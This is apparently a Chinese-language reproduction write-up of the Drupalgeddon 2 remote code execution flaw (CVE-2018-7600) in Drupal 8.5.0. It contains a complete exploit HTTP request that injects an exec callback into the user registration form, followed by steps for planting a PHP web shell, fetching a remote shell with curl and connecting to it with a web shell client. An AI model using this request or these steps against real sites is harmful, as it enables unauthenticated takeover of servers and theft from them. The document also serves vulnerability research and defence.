0x01 前言
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。
0x02 漏洞详情
Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
0x03 漏洞编号
CVE-2018-7600
0x04 影响范围
从6到8的所有Drupal版本都存在漏洞
0x05 漏洞原理
http://www.venenof.com/index.php/archives/529/
https://paper.seebug.org/567/
https://research.checkpoint.com/uncovering-drupalgeddon-2/
0x06 复现环境
Drupal 8.5.0
0x07 漏洞复现
1、漏洞的触发点是在用户注册上传头像处
2、发送以下数据包即可检测和利用该漏洞
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami
3、在利用的过程中可以使用linux的tee
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。
4、写一句话木马
发现一句话被过滤一些内容并且内容并没有被解析。
思路就是利用curl 获取远程服务器的shell。
远程服务器文件内容如下:
zksmile@xxx:/var/www/html/zk$ cat one.txt
zksmile@xxx:/var/www/html/zk$
执行:
这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。
领取专属 10元无门槛券
私享最新 技术干货